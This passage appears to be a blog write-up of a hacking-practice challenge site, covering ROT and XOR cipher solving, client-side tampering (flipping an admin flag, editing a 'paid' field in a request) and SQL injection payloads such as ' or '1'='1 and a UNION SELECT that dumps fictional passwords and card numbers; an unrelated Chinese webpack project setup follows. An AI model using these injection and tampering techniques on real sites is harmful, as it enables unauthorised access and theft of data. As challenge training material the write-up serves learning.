  2. Try pin like a------, -a----- to find the right position of these chars.

Super ROT (900 Points)#

Solve all rotated strings in under 180 seconds.
You’re not going to be able to do this by hand.
Also don’t get any wrong or you have to start over.
Answered: 0/50

Time Remaining: 179

1
gtuznkx oy got'z noy

Submit the decrypted message.

Console message:

To submit here, use the SuperRot_submit(answer) function.
It will return a promise that will resolve with a bool for whether or not the answer was correct.
Use the function SuperRot_getEncryptedMessage() to retrieve the current message to solve.

Solution 1-4#

  1. Try rot1, rot2, …, rot25

  2. Test the result by a word list. Split the sentence into words by space. Count how many words in the list. The more the better.

  3. Submit the sentence contains more words. Repeat it 50 times.

Client-side Protections#

Super Admin (10 Points)#

Are you admin tho?

You must be an admin to proceed.

Solution 2-1#

1
is_super_admin = true;

Timer (50 Points)#

Wait until the timer completes to press the submit button.

How much time is left?

Time Remaining: 3155759

Solution 2-2#

  1. Add subtree modifications breakpoint.

Add subtree modifications breakpoint

  1. Wait about 1 second. And then it paused.

  2. Move context to hackerchallenge.js.

  3. Change seconds to 3.

1
seconds = 3;

Debug using call stack

  1. Remove subtree modifications breakpoint.

#

Pay for things you want!

You must be a paid user to proceed.

Solution 2-3#

  1. Try submit.

  2. Find which send request.

Network call stack

  1. Set a breakpoint.

  2. Press submit button.

  3. Check the original answer.

  4. Change the answer.

1
answer = answer.replace('"paid":false', '"paid":true');

Change ajax request

Input Validation#

SQL Login (50 Points)#

Figure out the password to login.

Get the password for user: fry

Enter the login password.

Solution 3-1#

  1. Enter
1
' or '1'='1
  1. It directly gives you the SQL query result. (This may be impossible for any website)
1
2
3
4
5
6
admin,Gu3ss_Myp4s%w0rd**
bender,b1t3-my-shiny-m3t4l-4$$
fry,w4ts-w/-th3-17-dungbeetles
farnsworth,P4zuzu!!
scruffy,Im_0n-br3ak
zoidberg,sp4r3-ch4ng3#$$$
  1. Enter the password will solve the problem.
1
w4ts-w/-th3-17-dungbeetles

Digging Deeper#

Enter

1
'

This may cause SQL syntax error.

And we got SQL error messages. We can find that the SQL is

1
SELECT username, password FROM users WHERE username='fry' AND password='$1'

We can’t get this problem solved with only one request. We must enter the password in the second request.

I think the code might be

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$mysqli = new mysqli("localhost", "username", "password", "database");
if ($mysqli->connect_errno) {
exit();
}
$result = $mysqli->query("SELECT username, password FROM users WHERE username='fry' AND password='$_POST['answer']'");
if ($result) {
$row = $result->fetch_assoc();
if ($row) {
if ($_POST['answer'] === $row["password"]) {
$solved = true;
}
}
}

Cheat Table 1#

username password
admin Gu3ss_Myp4s%w0rd**
bender b1t3-my-shiny-m3t4l-4$$
fry w4ts-w/-th3-17-dungbeetles
farnsworth P4zuzu!!
scruffy Im_0n-br3ak
zoidberg sp4r3-ch4ng3#$$$

SQL Credit Cards (100 Points)#

Find the credit card number

Get the credit card number for user: farnsworth

Enter the credit card number here

Solution 3-2#

  1. Enter
1
'
  1. So, the SQL is
1
SELECT username FROM credit_cards WHERE username='$1' COLLATE NOCASE
  1. I have tried many times to find out the credit card number field name. Finally, I found it is card.

Enter

1
' and 1 = 2 union SELECT card FROM credit_cards WHERE username='farnsworth

You will get the credit card number.

  1. Enter
1
4784981000802194

Cheat Table 2#

username card
admin 4300713381842928
bender 4768732694626948
fry 4385923563192160
farnsworth 4784981000802194
scruffy 4987327898009549
zoidberg 4912753912003772

Crypto#

ROT (50 Points)#

Rotation cipher challenge.

1
a se tay! al'k lzw haulmjwk lzsl ygl kesdd.

Submit the decrypted message.

Solution 4-1#

Try each rot decrypt on https://rot13.com/. Input the one which seems like English.

XOR (100 Points)#

XOR crypto challenge.

Key Length: 6

1
2026076e06003d2d096e15073b390c6e111a2c6e083b1a05276e0d381207743a0a2b571935341b6e131a33

Submit the decryption key.

The key only contains alpha-numeric characters.
What submit is in format like QwErTy instead of 517745725479

Solution 4-2#

  1. Decode the byte string.
1
[32, 38, 7, 110, 6, 0, 61, 45, 9, 110, 21, 7, 59, 57, 12, 110, 17, 26, 44, 110, 8, 59, 26, 5, 39, 110, 13, 56, 18, 7, 116, 58, 10, 43, 87, 25, 53, 52, 27, 110, 19, 26, 51]
  1. Group the byte array by key length.
1
2
3
4
5
6
7
8
[
[ 32 , 61 , 59 , 44 , 39 , 116 , 53 , 51 ],
[ 38 , 45 , 57 , 110 , 110 , 58 , 52 ],
[ 7 , 9 , 12 , 8 , 13 , 10 , 27 ],
[ 110 , 110 , 110 , 59 , 56 , 43 , 110 ],
[ 6 , 21 , 17 , 26 , 18 , 87 , 19 ],
[ 0 , 7 , 26 , 5 , 7 , 25 , 26 ]
]
  1. Try [0-9A-Za-z] as XOR key for each group. The decrypted string must only contains [0-9A-Za-z ,.'!]
1
2
3
4
5
6
7
8
[
["T"],
["N", "W"],
["A", "B", "C", "D", "K", "N", "O", "X", "a", "b", "c", "k", "n", "o"],
["B", "I", "N", "O", "Y", "Z"],
["b", "c", "p", "v", "w"],
["C", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "c", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w"]
]
  1. Brute force. Test each sentence by common words in English like Super ROT.
1
2
3
4
5
6
7
8
9
10
the,dCick,wDown,sYx jyxFs ozpD thi5Zazy,qYg 0.12037037037037036
tql,vCizb,eDong,aYx9cyjFs9fzbD mai'Zacp,cYg 0.13513513513513514
the vCick eDown aYx jujFs ovbD the'Zazy cYg 0.21714285714285714
tql7vCizb7eDong7aYx9cbjFs9fabD mar'Zacp7cYg 0.2682926829268293
thd qcicj bdowo fyx kumfs nved tie zazx dyg 0.32857142857142857
thl7qcicb7bdowg7fyx cbmfs faed tar zazp7dyg 0.36324786324786323
the qsick btown fix jumvs ovet the jazy dig 0.4342857142857143
the puick crown gox julps ovdr the!lazy eog 0.4428571428571429
the,quick,brown,fox jymps ozer thi lazy,dog 0.6657142857142857
the quick brown fox jumps over the lazy dog 1

Finally, my decrypt key is TNbNwu.

The decrypted message is ‘the quick brown fox jumps over the lazy dog’.

Automatic scripts#

https://github.com/ganlvtech/can-you-hack-it

webpack-demo

  1. 建立 JavaScript 项目
  2. 引入 Webpack
    • 引入 Babel 编译 ES2015
    • 引入 Copy 插件直接复制静态文件
    • 引入 style-loader 处理样式文件,或用 sass-loader 编译样式
1
2
3
4
5
6
npm init
npm install webpack webpack-cli webpack-dev-server --save-dev
npm install @babel/core @babel/preset-env babel-loader --save-dev
npm install copy-webpack-plugin --save-dev
npm install style-loader --save-dev
npm install sass-loader node-sass --save-dev

注意 package.json 中的 scripts.dev 这一项,配置好之后可以用 npm run dev 运行测试服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"name": "webpack-demo",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"build": "webpack --config webpack.config.js",
"dev": "webpack-dev-server --config webpack.config.js",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Ganlv",
"license": "MIT",
"dependencies": {
"vue": "^2.5.21"
},
"devDependencies": {
"@babel/core": "^7.2.2",
"@babel/preset-env": "^7.2.3",
"babel-loader": "^8.0.5",
"copy-webpack-plugin": "^4.6.0",
"css-loader": "^2.1.0",
"node-sass": "^4.11.0",
"sass-loader": "^7.1.0",
"style-loader": "^0.23.1",
"vue-loader": "^15.4.2",
"vue-template-compiler": "^2.5.21",
"webpack": "^4.28.3",
"webpack-cli": "^3.2.0",
"webpack-dev-server": "^3.1.14"
}
}

webpack.config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const path = require('path');
const VueLoaderPlugin = require('vue-loader/lib/plugin');
const CopyWebpackPlugin = require('copy-webpack-plugin');

module.exports = {
mode: 'development',
entry: './src/index.js',
output: {
path: path.resolve(__dirname, 'dist'),
filename: 'bundle.js'
},
module: {
rules: [
{
test: /\.vue$/,
loader: 'vue-loader'
},
{
test: /\.scss$/,
use: [
'style-loader',
'css-loader',
'sass-loader'
]
},
{
test: /\.css$/,
use: [
'style-loader',
'css-loader'
]
},
{
test: /\.m?js$/,
exclude: /(node_modules|bower_components)/,
use: {
loader: 'babel-loader',
options: {
presets: ['@babel/preset-env']
}
}
}
]
},
plugins: [
new VueLoaderPlugin(),
new CopyWebpackPlugin([
{
from: 'public'
}
])
]
};